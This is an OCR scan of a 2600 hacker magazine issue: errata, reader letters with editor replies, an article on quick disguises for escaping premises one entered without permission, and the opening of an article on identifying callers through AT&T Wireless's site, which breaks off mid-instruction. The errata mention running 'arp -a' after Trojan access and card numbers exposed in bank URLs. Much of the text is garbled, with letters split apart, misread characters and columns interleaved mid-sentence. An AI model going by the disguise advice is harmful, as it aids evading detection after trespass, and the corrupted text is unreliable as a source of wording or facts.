and u rge you " l I ig i t i m i  non carboru ndum" (don't l et was truncated and should read: 
the bastards wear you down) .  "Gaining access to a computer through a Trojan 

Daniel horse and running the command "arp -a " will also 
We applaud your positive and enlightened allow someone to obtain a MAC address on a 

outlook on life 's little setbacks but you really should Windows machine. " 
let us know if we ever screw up like that  and we'll be In addition, there was a slight mangling of text on 
happy to make things right. page 55 in the "Bank of America " article. The affected 
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section should have read: 
"The " 54XXXXXXXXXXXXXX" is the full credit card 

number of the account. Because this information is 
in the URL, it is stored in server logs. It is also kept 
in the web browser's history, where it can be seen 
by future users of the same computer. This is where 
the ability to read other customers ' sta tements comes 
into play. " 

Again, we're very sorry this foulup happened and 
will take extra precautions to ensure that no repeats 
of this occur. 

Dear 2600: 
A strange th ing  happened to me recent ly. I 

cou l dn 't f ind a job.  It's not l i ke I cou ldn 't fi nd  some 
part time gig s l i ng ing  burgers, but I was look ing for 
a job. I wanted someth ing  where I cou l d  get paid to 
do the t h i ngs I enjoyed. And that j ust happened to 
be worki n g  on my computer with the software that 
makes regu la r  users confused. I l ooked in the c las­
s i fied ads, but everyth ing  I cou l d  f ind was out of my 
reach .  Al l  these pos it ions asked for the same t h i ng: a 
degree and experience. Now these are t h i ngs that I 
don't have, not for a lack of try i ng, but more for a lack 
of money and the necessary attent ion span for general 
education c lasses at my local comm u n ity co l l ege. 
So after a semester or two ( I  had l ost count after so 
many years have passed) and some years try i ng to 
pass as a factory worker, I aga i n  tr ied to fi nd work 
In IT, either as an  adm i n  or j ust the poor dupe who 
had to make sure the temperature of the server room 
was r ight .  But they a l l  asked for that degree. I cou l dn 't 
even f ind one that asked for a cert i ficat ion .  Was that 
a plan that fa i led in the IT wor l d ?  So I tr ied to submit  
my resume as i t  was ,  mak ing sure to note that I taught 
mysel f  everyt h i ng they wou ldn 't i n  high schoo l .  And i t  
got  me nowhere. Am I to bel i eve that the on ly  p lace I 
can learn is in a c lassroom, wast ing  two or more years 
of my l i fe learn i ng the s l udge that won't be necessary 
by the t ime I fi n i s h  my schoo l i ng? And bes ides, I had 
taught myself the basics of a progra m m i n g  language 
in a matter of a few months. I ' m  even work i n g  on 
projects us ing  th i s  language, th i ngs to make my l i fe 
run  smoot h l y. But  nobody takes it ser ious ly  because I 
don't have a p iece of paper that says I can do it .  What­
ever happened to the days when a person who knew 
how to use a computer had a job before even leav ing 
h igh  schoo l ?  G ranted, I am a b i t  o ld ,  being 2 7, but I 
shou l d  sti l l  be ab le to f ind a decent job work ing i n  the 
field without a degree. And I'm not about to waste two 
more years of my l i fe wa i t ing for a job to come i n .  

Another strange t h i n g  happened t o  me recently. 
I was ta l k i ng about how I needed to work on my 
computer to one of my fe l low burger f l i ppers, and she 
asked me i f  I was a gamer. Where i s  i t  wr i tten that in 
order to work on you r  computer, you have to be a 
gamer? I hate computer games. I u nderstand that the 
average user has no i dea how the I n ternet works, how 
web pages get to their screen, but j ust because I know 
more about computers than the average user doesn't 
mean I a m  a gamer. I am a hacker. I have a l ways been 
one and I w i l l  a l ways be one. 

Where have a l l  the true computer nerds gone? 
What h appened to the days when bei ng a nerd meant 
that you  cou l d  program a computer to do var ious 
tasks?  Why do I have to spend years of my l i fe bei ng 
taught somet h i ng I can teach myself i n  two years? 
Why i s  i t  that in order to be good with computers, I 
have to p lay games? I ' m  t i red of these th i ngs. I w i sh  for 
the o l d  days, when being good with computers kept 
you in an  e l  ite group of nerds and geeks. 

Requests 
Dear 2600: 

Cou l d  you i ndex a l i st of subjects covered by a l l  
issues s o  that I cou l d  search them a n d  f ind o u t  i f  and 
when you have written about  someth i ng I am in ter­
ested i n ?  Thanks !  

John 
If we could snap our fingers and have this done, 

we would love it. But putting together an index with 
all of the material we have would take an eternity. 
Right now your best bet is to search for keywords 
in titles on our online store (http://store.2600. com) . 
Maybe someday we can make this happen. 

Dear 2600: 
Does anyone at 2600 have an o ld  Hack-Tic demon 

d i a ler? People at Hack-tic c l a i m  the software source i s  
"m iss i ng." Who has the source code for the Motorol a  
c h i p ?  Someone m ust have it .  

xemai l  
The call i s  out. 

Dear 2600: 
Can you guys recommend other z i nes of the 

same i l k? My th i rst i s  endless. A l so, I f ind you r  back 
issue order ing  q u ite perp lex i ng.  I can order two years 
for $35 ($40 norma l ly) or five years for $85 ( $ 1 00 
norma l ly ) .  That breaks down to $ 1 7 . 5 0  per year for 
two, or $ 1 7 for five . . .  hard l y  a sav i ngs !  I mean, I want 
an  actua l  b u l k  d i scount for order ing  more! p lease 
advise. 

A l so, you r  new book sort of gave me a n  i dea. Why 
not pub l i sh  a spec ia l  mag you h ave to buy separate ly  
that  i s  a best of the prev ious  two years? You cou l d  
pub l i sh  i t  year ly, and t h e n  art i c les from each year 
wou l d  get two chances to make i t  i nto the best of the 
past two years mag. I 'd buy !  

E 
That would be something else that requires quite 

a bit of coordination.  Getting the book out was a 
real milestone and we hope that satisfies people for 
a while. As for our discounts, we can only go so far. 
Printing and postage costs are constantly going up so 
there's a limit to how much we can slash, even on 
bulk orders. And, to answer your first question, a t  the 
moment we 're unaware of any other printed maga­
zine that does what we do. 

Con tributions 
Dear 2600: 

I made some u sefu l programs which may be worth 
mention i ng:  

A keylogger-detector for detecti n g  hardware 
key loggers: https :llss l s i tes.de/www.true-ra ndom .com/ 
homepage/projects/anon_inet/heartbeat++.c  

A rando m i zer for  randomiz ing  I PV4 n u m bers in  
( l og)fi les (because I ' m  runn ing a TOR server at home): 
https :llss l s i tes.de/www.true-random.com/homepage/ 
projects/l i bera l/randomize.html  https:llsourceforge. 
net/projects/random ize 

By the way, I ' m  look ing for p u b l i c  key steganog­
raphy programs but cou ld  find none. Do you know 
some? 

Dr. Rolf Freitag 
Psion the GateKeeper 
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There 's plenty of discussion about public key steg­
anography in various places on the net but we don't 
know of specific programs either. We imagine our 
readers may be able to find out more. 

Dear 2600: 
I ' m  not much of a hacker, but I do read the maga­

z i nes. Anyway, I saw the art ic le  i n  the s u m mer of '07 
about gett ing free music with s ign up bonuses, and 
I thought  about how sa id  process cou l d  be i mproved . 

1 )  The s i tes l i sted can remember your I P, and  they 
on ly  give you one track on sign up, so I found  lomoio .  
lomoio doesn't remember you r  I P  and gives you two 
free tracks u pon s ign up .  

2 )  Wi th  the  process i n  the  a rt ic le, you  have to  wa it 
ten m i n utes for the s i te to reset you r  accou nt, and i t  
a lso remembers your I P, thus  lead ing  to the d i scovery 
of pookma i l .com. I t  a l lows you to create a temporary 
ema i l  account  for any amount of t ime, and you can 
look i n  on other  people's stuff who used it  before 
(very funny, people s ign up to cheap porn s i tes with 
pookm a i l  - j ust read the subject l i nes of the mai l  and 
laugh) .  

biuSKR33N 

Observa tions 
Dear 2600: 

I hope I ' m  not po int ing out the obv ious  when 
say th i s, but  with i n  the past two issues I have noticed 
someth ing  odd. In the table of contents of 2 5 : 1  there 
seems to be a sma l l  reference to George Orwe l l 's 1 984 
in wh ich  r ight u nderneath the sponge it  says: "We s h a l l  
meet i n  t h e  place where there i s  no darkness." I then 
cou ldn 't he lp  but notice that for the advert i sement of 
you r  new book on page 64 of vol u me 2 5 : 2  the a uthor 
i s  Emmanue l  Goldste i n .  I hope this i sn 't someth ing  
you  have been doing for  a wh i l e  or  some k ind  of s i l l y  
co inc idence, s i nce I am a fa i r ly  new reader. I wou l d  
j ust l i ke t o  t h a n k  y o u  for keep ing  t h i s  magaz ine  o n e  of 
the most enjoyab le  magaz ines I have ever read, and I 
hope that you w i l l  never get r id  of the po l i t ica l  aspect 
of th i s  magaz i ne, s i nce it's one of my favor ite parts ! 

John 

Dear 2600: 
I t 's an i nteresti n g  fact that in Germany, " Hacker" 

is a common last name. So in Germany we have (at 
least) one mayor with the name German Hacker: 
http://www.german-hacker.de! 

He has a doctor's degree. 
Dr. No 

What's even more interesting is that  his first name 
is literally German. 

Dear 2600: 
In my a rti c le, "Spi r i ts 2 000 I nsecu rity" that was 

pub l i shed in 2 5 :2 ,  I rea l i zed that there was an error. 
I had sa id  that you o n l y  need emp.cdx to be ab le  to 
v iew the database in V isua l  Fox Pro, but if  I remember 
correct ly, you need emp.dat and emp.fpt as wel l .  Both 
of these fi l es can be found  in the same d i rectory as 
emp.cdx though.  

drlecter 

Dear 2600: 
Congratu lat ions on The Last HOPE .  From what I 

hear, it was a great success . . .  and it pai ned me great l y  
t o  n o t  have the p leasure of attend i ng. To the point :  
Recently, I had pu rchased a fa i r  n u mber of o l d  2600 
magazi nes from eBay, ra ng ing from the years of 1 998 
to 2 000 and  a l l  i n  exce l lent condit ion .  Look ing  upon 
these i ssues as br icks of knowledge, I a m  sti l l  read ing 
them and f ind them very i nterest i ng, yet I have found  
a recurr ing top ic  pop i nto my head after each  a rt ic le .  
Back i n  the late 90s ,  the hacker com m u n ity seemed 
to be more bold and open to ideas. I know that the 
I nternet was growing  rap id ly  and had everyone's 
heads turn i ng, a long with the spread ing  pop u l a r i ty 
of Windows 98 and NT, but there were n umerous 
references that were pub l i shed that perta i ned to 
government secur i ty as opposed to the corporate 
secur i ty that I see today. A l so, there seemed to be 
more how-to's and step-by-step exploits in 2600. I am 
by no means bas h i ng th i s  magaz ine  . . .  I am an av id  
subscriber. But  what  i s  i t  with hackers today? Are  they 
sca red to post government papers and frequencies?  
Or was it the whole " Free Kev i n "  propaganda that had 
their  b lood boi l i ng ?  These k inds of thoughts conti nue  
to  flood my head  as I read these pages of h i story . . .  bu t  
I wou l d  l i ke to  hear  from everyone whether or not  the 
open-mi nded t h i n k i ng of the hacker com m u n ity has 
changed at a l l  wi th i n  the past decade. Thanks  for you r  
work, and keep u p  the great magaz ine !  

PriesT 
Attitudes definitely change over the years and 

that's  something you can notice by poring through old 
material and getting into the spirit. This is also how 
you learn and figure out ways of applying past values 
to the present and future. Oftentimes that 's where the 
answer lies. 

Dear 2600: 
Raytheon'S I nternet secur i ty tra i n i ng provides 

some rather in terest ing defi n i t ions :  
" Hacker - A 'hacker' i s  a nyone who attempts 

any k ind  of i l legal computer-based act iv ity i nc l u d i ng 
break ing i nto someone e l se's i nformation system.  And 
the I nternet i s  a hacker's parad ise .  I t  cou l d  potentia l ly 
give hackers open access to any i nformation he ld  on 
Raytheon 's i nformation system.  Raytheon uses a wide 
range of access contro l s  i n  order to m i n i m ize the 
r i sks of th is occurr i ng. Th i s  i s  often done 'be h i nd-the­
scenes' without you even being aware." 

"Soc i a l  Eng i neer ing  - Soc ia l  engi neer ing i s  the 
term for descr ib ing  a n  i ntrus ion that rel ies heav i l y  on 
human i nteraction and often i nvolves t r ick ing peop le  
i nto break ing normal  secur i ty procedu res. Soc i a l  
engi neeri ng can take p lace face-to-face, over the 
phone and on- l i ne, or  any combinat ion thereof. So a 
soc i a l  engi neer is a c r im ina l  who u ses h ig h l y  devel ­
oped soc i a l  sk i l l s i n c l u d i ng man ipu lat ion,  i ngrat ia­
t ion,  i m personat ion,  psychologica l  tr icks and  a wide 
variety of tool s  to persuade you to revea l i n formation 
to which they have no r ight or  author ized access." 

Oddlyeven 

Dear 2600: 
I want  to thank  you for a nother great HOPE.  It 

makes me fee l  warm and  fuzzy i ns ide know i ng not 
everyone is a p h i l i s t ine automaton fo l lowing the 
masses.  W h i l e  th is was only my second t ime at a HOPE 
conference, I noticed some changes between HOPE 
N u m ber Six and The Last HOPE and I was wonder ing 
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if you have noti ced the same t h i ngs over your longer 
frame of reference. F i rst, the c rowd seemed much 
more d iverse t h i s  t ime  (for examp le, more women) .  
Th i s  i s  a good th i ng (not j ust more women, but d iver­
s i ty in genera l ) .  I th i n k  the more d iverse the hacker 
comm u n i ty gets, the better, because i t  means you are 
break ing  down the hacker stereotype created by the 
med i a .  Another t h i n g  I noticed was a lot more peop le !  
I remember two years ago some ta l ks be ing sta n d i ng 
room on ly, but t h i s  year it seemed l i ke a l most every­
th i ng in Hopper was stand ing  room on ly. Perhaps the 
conference has reached cr i t ica l  mass ! ?  What do you 
th ink about gett i ng  a la rger venue?  I love Hotel Pen n  
j u st as much as t h e  next guy, but i t  seems t o  me the 
conference may have outgrown i t .  Then aga i n, I am 
speak ing  from a l i m i ted frame of reference. 

SnOOpy 
We've definitely grown in many ways and this 

conference was our biggest yet. But we still have a ton 
of space in the hotel and even some additional space 
that we have yet to use. We also want to avoid getting 
too big since that would ruin the magic. 

Dear 2600: 
A wh i l e  back, I posted my resume and responded 

to a few l i st i ngs on a U n i ted Arab E m i rates I T  job 
website. A few days l ater, upon p lac ing  cel l phone 
c a l l s, I wou l d  hear a strange recurr ing  tone,  a beepi ng 
no i se every th ree seconds (ce l l  was on my resu me), 
so I made sure to keep my conversat ions legit, never 
ment ion i n g  warez, tec h n i ca l ,  etc . . . .  I then conferred 
with a fr iend of a fr iend do ing government work who, 
after severa l WE'pks, sa id  that the government cou l d  
be l i sten i ng i n  and t h a t  I cou l d  have ra i sed a red flag 
due to my posti ng.  

I can not confi rm any of th is after much Googl i n g  
and rea l i ze t h a t  he cou l d  be p u l l i ng my l e g .  H a s  
anyone heard o f  th i s  k i nd  o f  th i ng! 

You may be asking why I rosted on a LJAE s i te.  I ' m  
about as c l ose t o  Arab ic  as Mother Theresa i s  t o  Par i s  
H i lton, but I wa nted to  see how many h its I cou ld  get . 
Opport u n i t ies a l ways abou n d '  

aurfalien 
Very few govprnments still beep when listening in 

on you. lie concerned when you hear nothing. 

Dear 2600: 
I love your pub l icat ion .  I am s l ight ly  d i saproi nted 

with the cover of 2 5 : 2 .  Be ing  a rhotographer, I was 
i nterested in you r  cover photo. Be ing  a New Yorker, I 
have to te l l  you that the p icture is pr i nted backwards.  
I f  you need rroof, l et me know. Otherwise, you can 
send the t-s h i rt to me. ( I  know that only pub l i shed 
submi ss ions  rate a t-s h i rt but i t  does not h u rt to ask.  
Tha n ks for l i sten i ng . )  

Manuel 
It also doesn't hurt to answer and tell you that 

we 'd have to be insane to give out free shirts for every 
letter we puh/ish. As for the photo, it's backwards for 
a redson. 

Dear 2600: 

the or ig ina l  photo, and i t  seems to j ut i nto the m i dd l e  
o f  5th Avenue.  

At any rate, n ice job by Dabu Ch'wa l d .  
P F  

Yes, you spotted somf'thing else that was altered 
about the photo: the old time radio building. W, all 
part of our dying technology theme tbis year. 

Dear 2600: 
Not try i n g  to reduce parano ia  of course, but every 

t ime  I look for your magaz ine  at Barnes and Noble, it 
is a lways up front a long with other sma l l  format maga­
z i nes such as Make, etc . 

Love you r  mag even though I don't u nderstand 90 
percent of the more techn ica l  art ic les .  

Norm 

Gra titude 
Dear 2600: 

Be ing  on ly  1 9  and a l ready work i ng for a sma l l  
computer company wh ich  makes a program for 
resta urants that use louch screens to do orders and 
such,  I j u st need to say that f i nd ing  your mag when I 
was l i ke 1 4  has led me to a great career. So with a l l  
t h i s  i n  m i nd I want t o  thank you for a l l  you have done 
to help me be who I am today. Godspeed and keep 
that i nformat ion com i ng. 

990.lim 
It\ great to hcar that but give yourself the credit 

for finding something that works for you. We're just 
one of a variety of stimuli. 

Dear 2600: 
I ' m  a new subscr iber to 2600, h av i ng j u st received 

my second issup, 2 5 : 2 .  Let me j u st say thanks for 
hav i n g  the wherewitha l  10 sl ick with someth ing  for 
such a long t ime.  I remember hear i ng about 260() 
when I was j u st a wee lad back in the 80s. 

Anyway, one of the more i nterest i ng  parts of the 
magaz ine  (for me at least) is the letters sect ion .  I ' m  
th i n k i ng i t  wou ld b p  n ice t o  have a Letters sect ion 
ca l led "Moro n i cs" or some such t h i ng, a spot where 
you cou l d  put a l l  the useless, a l though very entc'r­
ta i n i ng letters such as the one from Eva ask ing for 
advice on how to obta i n  a new ident i ty for her and 
her daughter, or the one from "Z" compla i n i ng about 
the "ShopAtHome SelectRebates" crapware. I t  wou l d  
be n ice n o t  t o  have t o  sort through a l l  the m u ndane, 
"norma l "  l etters in order to read the rea l "cream" if 
you w i l l .  

Short o f  that, keep on rock i n ' !  
Max@MVCT 

We prefer to let our readers decide for themselves 
who the morons are rather than have us label them so 
definitively. That is, assuming we've ever gotten any 
moronic letters at all. 

Dear 2600: 
G reetz from you r  northern ne ighbors i n  Toronto, 

Ca nada ! I j u st enjoyed read i ng Acidevi l 's l etter in 2 5 :2 
regard i ng you r l i fet i me subscr ipt ion offer. It made 
me laugh because I too have cons idered the same 
i ssues as to whether 2600 wou l d  l ast long enough to 
make a l i fet ime  subscr ipt ion worth i t  or as to whether 
the magaz i ne wou l d  sti l l  be awesome in the post­
Emmanue l  Go ldste i n  era. 

I love the cover of the Sum mer 2 008 issue. Can 
you give me (us,  i f  anyone e lse cares) more i nforma­
t ion about the r hoto. Yes, it 's Man hattan, look ing 
south down B roadway from about 2 5th Street. The 
tro l leys and lack of a utomob i les date i t  to the l ate 
1 800s or poss i b l y  ear ly  1 900s. B ut that b u i l d i ng on 
the left that looks l i ke a rad io!  That can 't be part of 
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Here in Canada, i nc l u d i ng taxes, I 've pa i d  as 
much as $ 1 1 a n  i ssue, averag ing about $ 1 0  an i ssue.  
Ass u m i ng 2600 l asts another 2 0  years, a l i fet ime 
subscr ipt ion for me wou l d  make that  $ 3 . 2 5  a n  issue, 
wh ich  is awesome bang for the buck.  

I am 2 2  years o l d  now and have on ly  had one 
two-year subscr ipt ion to 2600. I 've been buy ing  
the magaz ine  s i nce I was  about  1 5 , mak ing  that  2 0  
i ssues purchased a t  reta i l  (not i n c l ud i ng my two ycar 
subscr ipt ion)  for a pr ice of $200 for 20 i ssues.  

260() has been brought to court many t imes, has 
fe l t  pressu re from corporat ions and you r  powerfu I 
(and i gnorant) government, and yet has stood the test 
of t ime .  You guys a re sti l l  around after i m mense pres­
sures in the last 24 years and my bet i s  that you' l l  be 
around for many more. 

I rea l ize that I don't want to be in Acidev i l 's pos i ­
t ion of hav ing  spent  more than needed on a nyth ing  
(though I a l ready k ind  of  am) .  That be ing sa id ,  I 've j u st 
purchased a l i fet ime subscr ipt ion and look forward to 
read ing  2600 unt i l  I ' m  an o l d  man .  I ' m  a l so pumped 
u p  to read the fi rst three years of 2600 and have a l so 
j ust ordered The Best of 2600: A Hacker Odyssey 
from amazon.ca and can l ook forward to rece iv ing 
that i n  the ma i l  t h i s  week. 

You guys have a bomb mag r u n n i ng. Let's hope 
not only for my 2 60 d o l l ars' sa ke, but for the sake 
of the free wor ld that you guys keep on truck ing  for 
many more years to come. 

Marcio 

Dear 2600: 

F i rst of a l l , I wou l d  l i ke to say thanks to a l l  of the 
peop le who make 2600 poss ib le :  the staff, the writers, 
and the supporters. I don't cons ider myself a hacker, 
but I ' m  a computer geek with a gra nd t h i rst for knowl­
edge. The fi rst resou rces I tu rned to for  learn ing  about 
the hacker comm u n ity were the I n ternet and 2600. 
S i nce I read the magaz ine  rel ig ious ly, i t  wou l d  make 
sense to subscr ibe, but I get more enjoyment out of 
trekk ing to Barnes and Noble and buy ing  a copy. As 
Rob G. ment ioned in issue 2 5 : 1 ,  workers at these 
bookstores are qu ite fond of cover ing u p  2600 mags 
with other s l ight ly l a rger ones. I stand by the shelf for 
a couple of m i n utes sca n n i n g  the magaz ine  to get the 
usua l  react ions .  A lot of peop le  stare at me, some­
t i mes sneer, because the stereotyp ica l  "hacker" or 
person in terested i n  a nyth ing  to do with hackers i s  a 
wh i te male .  I am an Afr ica n-Amer ican female .  When 
I purchase the mag, the c l erk i s  e i ther fr iend l y  to me 
and i ntently look ing at the cover of 2600, or giv ing me 
that "you 're one of those ident i ty-stea l i ng, c h i l d-porn 
d i st r ibut ing f i l th ies the news keeps ta l k i ng abou!." I 
th i n k  i t's horr ib le  that people choose to cons ider these 
stereotypes about hackers. 

there was an entire agency somewhere dedicated to 
visiting hookstores and hiding the most outrageous 
titles bf'hind othf'r 1f'55 harmful ones. Well, we might 
he a little surprised. But the point is that  anyone can 
do this dl)(} it�s up to the resl of us to make sure it 
doesn't succeed in silencing us or anyone else. Thanks 
for having the strength to stick with us. 

Dear 2600: 
I j ust wanted to write to you guys to tel l you 

how much I l ove your magaz i ne. I t's the on ly  wr itten 
p iece of l i terature in ex istence that stays on top ic  and 
cons istent despite the changi ng t i mes. My on ly wish  i s  
that  I cou l d  have been a l ive at the start of a l l  th i s .  The 
p ioneer ing  adventu res i nto the e lectro n i c  u n known, 
the d i scoveries that changed the way people  v iew 
computers a l together, j u st the fact of hav ing  nosta lg ia  
about these t i mes m u st be tru ly  a wonder. I 've been 
fasc i nated by old and "outdated" techno logy s i nce I 
fi rst stu mbled across the error fi l led ways of newer 
morc "advanced and superior" techno logy *cough* 
Vi sta *cough*.  I love br inging o l d  boxes back to l i fe 
and mak ing  them do th i ngs they were never ab le  to do.  
I know I w i l l  never be ab le  to venture i nto the d ig i ta l  

I 
da rkness to the extent of those who came before me 
but I know that I can try. My motto i s  that one can not 
apprec i ate h i s  present and be prepared for h i s  futu re 
if one does not u nderstand h i s  past. It 's hard to exp l a i n  
t o  people w h y  I spend s o  much t ime on "use less" 
and "obso lete" tech, espec i a l l y  at the age of 1 7, but 
despite what people say, I ' l l  cont i n u e  to do so. 26()O 
a l lows me to look back i nto the m i nds of those brave 
few who ventu red ungu ided i nto the myster ious rea l m  
o f  cyberspace. I t  showed me that peop le  sti l l  h o l d  the 
torch of c ur ios i ty and det('rm i nat ion .  I was giving up 
on h u man ity as I saw us as a whole beco m i ng more 
and more rei i a nt on tech that was handed to us and 
opt i m ized for our  ignorant  demands.  The people 
s lav ing away at a keyboard spew i ng oUl programs thal 
make our  l ives better were given no vo ice unt i l now. 
Anyone who had the courage to sta nd up for freedom 
of speech and never hide from the i r  prob lems and 
fears was  thought, i n  my m i nd, to be noth ing  more 
than a fa i ry ta le  and that those i n d iv idua l s  w i l l  never 
exi st, un t i l  I read a sma l l  packet of pages h i dden in the 
back of some newspapers at a rundown newsstand 
fou r  years ago. One day I hope to buy a l l  the maga­
z i nes from the sta rt to present day. I t  won't a l low me 
to experience the emotions and events f irsthand but it 
m ight help me with  con nect ing to my vague past. 

I 'm not su re i f  this message makes any sense or i f  
i t  wi l l  ever be read .  Or for that  matter i f  I am send ing  
i t  to  the r igh t  address, but hey, I wrote what  I tru l y  fe l t  
about th is  magaz i n e  and i f  no one reads i t  then i t's 
okay. J ust wanted to say thank you .  

Kikidotstrange Sebastian 
There :, no question that we have a lot of enemies You actually have ventured into the past more than 

in various places and their modus operandi is invari- most others simply by showing such an appreciation 
ably to try and silenCE' those they disagree with or are for the technology and the sense of wonder that  this 
uneasy living on the same planet with. It's not entirely all started with. Having that link is essmtial for moving 
fair to assume that  only hookstore worker, are hehind forward and discovering new things. It's pr('ci,ely this 
hiding our magazine. We wouldn't be surprised if attitude tha t  makes what  we do worthwhile. 
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by MasterChen 

So, you f ind you rse lf  in a p l ace where you 
shou l d n ' t  be, a n d  you need a q u i ck escape. 
You ' ve stayed l ow profi l e  a n d  haven ' t  stood 
out too m uch ,  but you know that i f  you went 
out  the way you came in,  i t  wou l d  defi n i te l y  
b e  s u s p i c i o u s. Whatever t h e  case m ay be, a 
q u i ck d i sgu i se  wou l d  a i d  i n  a safe escape. 
N ow, before we cont i n ue, l et m e  rem i n d  you 
that  a l l  i nformat ion c a n  be u sed for good or  
ev i l ,  so what  you do with  th i s  i s  you r  dec i ­
s i o n .  I accept no  respons i b i l i ty. 

Wherever I go, I a l ways c arry a back­
pack with m e  that  i s  equ i pped with a few 
i tems.  These i n c l ude a c h a n ge of c l ot h i ng, 
s u ng lasses, a razor, a h at, a w r i st watch, a 
notebook wi th  pen or pen c i l ,  rea d i ng mate­
r i a l  (yo u r  favor i te i s sue  of 2 600 m aybe?), 

: a n d  prescr ipt ion  or non-prescr i pt i o n  rea d i n g  
g l a sses. To effect ive l y  d i sgu i se you rse l f, you 
need to c h ange at  l east s ix featu res about 
you rse l f. I w i l l  be desc r i b i n g  myse l f  a s  an 
exam p l e  for th is  a rt i c l e  j u st to demonstrate 
what  I am d i sc u s s i ng .  

Before look 
Pr ior  to go i ng t h rough a n y  sort of tra nsfor­

mat ion ,  my typ i c a l  a p peara n c e  wou l d  be a n  
As i a n -Amer ican  c o m pu ter  nerd wi th  a s haved 
head, contact  lenses, a l i tt l e  fac i a l  s tubble, 
j e a n s  a n d  a p l a i n  t-s h i rt. I h ave a p retty p l a i n  
descr i pt ion ,  b u t  t h i s  i s  good. Why? When you 
a re d i sgu i s i ng you rse lf, you shou l d  th i n k  as  if 
you a re a b l a n k  page on  an ease l .  A l l  add i ­
t i o n s  a re deta i l s  that  h ide the w h i te space. 

After look 
N ow, my hat is cover i ng  my shaved head.  

My g l a sses a l ter  the overa l l  s h a pe of my face, 
w h i c h  is a l so a bit smoother now. My c l othes 
a re c o m p l ete ly  c h a n ged from what  I sta rted 
wi th ,  a n d  the wr i st watch adds a l i tt l e  extra 
deta i l . Peo p l e  in genera l do n ot h ave an eye 
for deta i l ,  w h i c h  is why you need to h ave th i s  
sk i l l .  Ta ke t h e  t i m e  t o  a n a l yze you r  featu res 
or  tra i ts. Then,  see how wel l  you c a n  c h a n ge 
them on the f ly. Can  a nyon e  say Superm a n ?  
A l l  h e  d i d  was take h i s  g l a sses off. 

The Next Step 
Log i c a l l y, the next th i n g  you need to do 

i s  get  the he l l out !  Pack you r  th i ngs n ice a n d  
neat ly, a n d  l eave i m med i a te l y. I t  i s  i m porta nt  
to note here that  th is  i s  a q u i ck d i sg u i se u sed 
for even q u i cker escapes. I f  someone stares at  
you long  enough,  i t  c a n  spel l d i saster for  you .  
H ow c a n  y o u  m a ke a q u i ck escape wi thout  
ru n n i ng or  even see m i ng l i ke you ' re i n  a rush?  
Th i s  i s  where you r  notebook or  rea d i n g  mate­
r i a l  comes i nto p l ay. You c a n  u se you r  note­
book a n d  pen to wa l k  a ro u n d  i n  the genera l 
d i rect ion  of you r  ex i t  as if tak i n g  notes. Th i s  
m a y  add a l ook o f  a u thor i ty t o  y o u ;  hopefu l l y, 
it w i l l  be at l east enough not to be c h a l l enged 
about you r  p resence. The read i n g  m ater i a l  
c a n  b e  u sed t o  m a ke a n  i ncrementa l p rogres­
s i o n  to the door. I t  m ay be c l i che  in movies, 
but j ust s i tt i ng  down w i th you r  d i sg u i se a n d  
read i ng for a l i tt l e  b i t  c a n  evade peo p l e  w h o  
a re j u st pass i n g  by. You don ' t h ave t o  cover 
you r  face a n d  cut out a h o l e  to see t h rough 
you r  m a ter i a l .  That ' s  j ust nonsense. 

Points to Consider 
There a re a few t h i ngs you m ight  want  

The Change to do to h e l p  m a ke you r  escape as easy a n d  
I f  y o u  h ave t h e  opt i o n  t o  g o  t o  t h e  nearest tro u b le-free as poss i b l e. F i rst, try to avo i d  

restroom ,  b y  a l l  mean s, take i t !  H ere, y o u  c a n  leav i ng the pre m i ses from the s a m e  p l ace 
take the  t ime to start f rom the bottom u p .  I f  I 'm you entered. You r  d i sgu i se shou l d  match you r  
wear i n g  p a nts, m y  c h ange o f  c l oth i ng wou l d  env i ro n m ent, s o  i f  you ' re i n  a b u s i ness e n v i -
u su a l ly c o n s i st of shorts. My t-sh i rt wou l d  be ron ment, c l othes that  a re b u s i ness to bus i -
rep laced w i t h  a short-s leeve, button-down, ness c a s ua l  wou l d  be a w i se dec i s i o n .  Pack 
co l l a red s h i rt. I wou l d  u se the razor to shave a s  l ight ly  a n d  a s  c h ea p l y  a s  poss i b le.  I f  you 
what l i tt l e  stu b b l e  I had ,  and I ' d  rep l ace my h ave to  d itch you r s u pp l i es after the  transfor-
contacts w i t h  my g l a sses. F i n a l l y, I p u t  on my mat ion,  i t  wou l d  be best  n ot to c arry bra n d  
h a t  a n d  t h e  w r i st watch, a n d  I a m  ready to name items. And,  f i n a l l y, from begi n n i ng to 
go. end,  b r i n g  l i tt l e  to no attent ion to you rse l f. 
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Advanced Techniques 
I f  you have ever taken a for m a l  act i ng c l ass, 

o r  i f  you th i n k  that you can pu l l  i t  off, you can 

try d i sgu i s i ng you r  demeanor as wel l . Th i s  

c a n  b e  d o n e  for exa m p l e  w i t h  a s l ight  l i m p  

o r  by h u n ch i ng wh i le you wa l k. Whether or  

not you need to ta l k  to a nyone before you 

l eave, you m ight want to keep the i dea of  

chang i n g  you r  voi c e  i n flect ion  in  the back of  

you r  m i nd.  You r  new voice can  f i t  you r  new 

perso n a l ity i f  you want to take i t  that fa r. 

Last Words 
Remember that d i sg u i ses a re subt le, but at 

the same t i m e  deta i l ed.  An effective d i sg u i se 
i s  subt l e  enough not to b r i n g  attent ion,  but 
deta i led enough to evade fam i l i a r i ty to 
a nyone who saw you p rev i o u s l y. 

Suggested Reading 
The Spy 's Guide: Office Espionage 
Mind Manipula tion by D r. H a h a  L u n g  

Shout outs :  #telephreak, #ca2600, #nv2600, 
#infoinject, gid, bgm, sneaksy, isfbf702, 

chOpst 7 x, Yasumoto. 

ATET Wirglg00 
CU0tomgr InFormation 

b y  Frater Perdurabo 

I got home from work last n ight and saw an 
odd n u m ber on my c a l ler  1 0 :  " U N KNOWN 
NAME, (81 2 }- 1 2 3 -4567." As parano id  as  I am, 
I put on my fo i l  he l met and dec ided to see 
what I cou l d  do to find out who the n u m ber 
belonged to. After v i s i t i ng a h a n dfu l of s i tes 
wh ich prom i sed resu l ts but wh ich  I rea l l y 
d i d n 't want to pay for, I dec i ded to see what I 
cou l d  do wi th the wi rel ess prov iders' websi tes 
themselves. 

I d i d n 't k now which prov i der owned the 
exchange, so I went through a few and fou n d  
t h a t  i t was owned b y  AT&T. Whi tepages . com 
w i l l  g ive you some i nformation a bout a n  
excha nge, usua l ly i nc l ud i ng t h e  c ity a n d  state 
and somet i mes the provider, so i t  may be 
worth a shot. 

After a q u i c k  scan of the AT&T Wi reless 
home page, I fou n d  out how to get the i nfor­
mat ion I wa nted. Here's what to do: 

F i re up  you r  web browser, go to 
http://wireless. att . com/. and c l i c k  
on "Sign i n  t o  you r  accou nt." N ext, c l i ck the 
